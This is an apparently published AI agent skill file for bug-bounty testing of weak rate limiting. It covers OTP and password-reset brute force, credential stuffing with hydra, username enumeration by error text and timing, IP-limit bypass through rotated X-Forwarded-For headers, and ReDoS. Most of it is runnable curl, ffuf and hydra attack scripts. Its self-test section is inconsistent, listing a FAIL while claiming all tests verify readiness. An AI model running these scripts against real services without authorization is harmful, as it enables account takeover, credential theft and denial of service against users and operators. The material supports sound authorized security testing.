# Hunt Brute Force

> Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).

- Skill: `uphiago/hunt-brute-force` (Agent Skill)
- Install (CLI): `npx skillmds@latest add uphiago/hunt-brute-force`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/hunt-brute-force/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Productivity
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/hunt-brute-force

---


# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

> Grounding note: this skill is built from published technique classes, not from a
> curated set of named HackerOne reports. `report_count` is intentionally `0` — do
> not cite an exact payout or report ID you cannot verify. Where a public case is
> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.

## Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

**Highest-value chains:**
- **OTP / 2FA brute → MFA bypass → ATO** — no effective rate limit on `/verify-otp`, full 000000–999999 keyspace reachable
- **Password-reset token brute** — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- **Username/email enumeration → targeted credential stuffing** — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- **Coupon / gift-card / referral code brute** — no rate limit on code validation → financial impact
- **ReDoS** — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

---

## CRITICAL: Four rate-limit states — do not collapse them

A `200`/`401` with no `429` does **not** mean "no rate limiting". A rate-limiting
skill that only checks for `429`/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
*full* response (status, body, headers, latency, and downstream success):

| State | Signal | Brute still feasible? |
|-------|--------|-----------------------|
| **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |
| **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | **This is the trap.** A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |

**Shadow-throttle detector** — inject a known-good value at a known position and
confirm it still works under load:
```bash
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
```

---

## Step-by-Step Hunting Methodology

### Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
```bash
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
```

### Phase 2 — OTP / 2FA Brute Force
```bash
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
```

### Phase 3 — Username / Email Enumeration (string AND status AND timing)
```bash
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"
```

### Phase 4 — IP / Source Rotation Bypass
```bash
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
```

### Phase 5 — Token Entropy (measure it, don't eyeball it)
```bash
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.
```

### Phase 6 — ReDoS Detection
```bash
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.
```

---

## Automation
```bash
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
```

---

## Chain Table

| Finding | Chain to | Impact |
|---------|----------|--------|
| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |
| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |
| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |
| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |
| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |
| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |
| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |

---

## Validation — false-positive discipline

Before writing the report, each must hold:

- **OTP/login "no rate limit"**: confirmed against ALL FOUR states — not just absence of `429`.
  Shadow-throttle seed test passed (the known-good value still authenticates under burst load).
  Latency and body-size were monitored, not only status code.
- **Full-keyspace claim**: severity is justified by the *reachability math* (throughput × code-lifetime
  vs 10^6), not by a 101-code probe. State the numbers in the report.
- **Enumeration**: difference is reproducible across ≥20 samples and is a *server-state* difference
  (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…"
  message is NOT enumeration). For timing, compare medians of many samples, never single requests.
- **IP-rotation bypass**: proven by toggling rotation off and showing the `429` returns. The delta IS
  the proof; one fast run alone is not.
- **Token entropy**: backed by an actual measurement (Burp Sequencer effective-bits, `ent`, or a
  demonstrated counter/timestamp structure), not "looks short".
- **ReDoS**: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
- **Scope/impact**: did you reach a real outcome (authenticated session, leaked account list, DoS)?
  A rate-limit gap with no reachable impact is informational, not Medium.

**Severity:**
- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: **Critical**
- No login rate limit + working credential-stuffing/IP-bypass: **High**
- Predictable security token (measured low entropy): **High**
- Username/email enumeration alone: **Low–Medium**
- ReDoS with reproducible meaningful server lag: **Medium–High**
- Attacker-triggerable hard lockout (account DoS): **Medium**

## Verification

Run this self-test to confirm brute-force readiness:

1. **FFUF rate-limited test** — verify ffuf with rate limiting:
   PASS: ffuf rate limiting available

2. **Timing analysis** — verify statistical analysis:
   FAIL

3. **Wordlist availability** — confirm password lists:
   PASS: SecLists present

All 3 tests verify brute-force probing readiness.

---

## Pitfalls

- **Testing without rate-limit awareness** — brute-forcing without `-rate` and `-t` flags triggers account lockouts and IP bans. Always test with conservative settings first.
- **Single-account testing** — brute-forcing your own test account proves nothing. Need two accounts to demonstrate the attack works against a victim.
- **HTTP status code alone as oracle** — 200 vs 403 differential can be misleading. Always diff response bodies; some apps return 200 with different content for valid vs invalid credentials.
- **Response timing as sole evidence** — single-sample timing differentials are jitter. Need n>=10 interleaved trials per group with 2-sigma threshold.
- **Lockout policy not documented** — if the target has account lockout after N attempts, document it. Brute-force with lockout is high-risk and low-reward.
- **Token entropy claims without measurement** — claiming a token is predictable requires actual measurement (Burp Sequencer effective-bits, ent, or demonstrated counter/timestamp structure).

---

## Related Skills

- **`hunt-ato`** — Brute-force bypass of OTP/MFA is a direct path to Account Takeover. Chain primitive: no rate limit on `/verify-otp` + 6-digit keyspace (10^6) → attacker enumerates OTP within code lifetime → authenticates as victim → full ATO without password.
- **`hunt-mfa-bypass`** — Brute-force of the 6-digit OTP is one of 7 MFA bypass patterns (Pattern #4). Chain primitive: OTP validation endpoint accepts repeats without rate limit + code is 6 numeric digits → brute-force 000000–999999 → MFA bypass → ATO.
- **`hunt-auth-bypass`** — Rate-limit gaps on password-reset or email-verify endpoints create auth bypass chains. Chain primitive: no rate limit on `/password-reset` token endpoint + short numeric token → brute-force reset token within its validity window → account takeover without user interaction.
- **`hunt-http-smuggling`** — HTTP/2 Rapid Reset (CVE-2023-44487) is a rate-limit bypass of a different kind — resetting streams before the server counts them. Cross-ref for bypassing request-based rate limits via protocol-level amortization.
- **`hunt-business-logic`** — Coupon, gift-card, and referral-code brute-forcing are business logic rate-limit gaps. Chain primitive: coupon validation on checkout has no rate limit → attacker enumerates valid coupon codes from a known prefix → unlimited discount on every purchase.
- **`hunt-llm-ai`** — LLM-based login forms with "forgot password" features may have invisible rate-limit gaps in the backend. Chain primitive: AI chatbot accepts email input for password reset → no rate limit on the backend reset endpoint → token brute → ATO via AI feature.
- **`security-arsenal`** — Reach for the Rate-Limit Bypass Tables (X-Forwarded-For rotation headers, X-Real-IP, X-Client-IP, CF-Connecting-IP, comma-separated IP chains, null-origin SANDBOXED iframe) and the HTTP/2 multiplex bypass methods.
- **`triage-validation`** — Apply the 7-Question Gate before reporting. A rate-limit gap is only a finding if you can demonstrate what the brute *reaches* (authenticated session, OTP validated, password reset, financial discount). A login rate-limit gap without credential stuffing or a valid account list may be informational. Confirm the impact, not just the gap.
- **`password-spray-methodology`** — Universal password spray pipeline across all protocols + error code differentials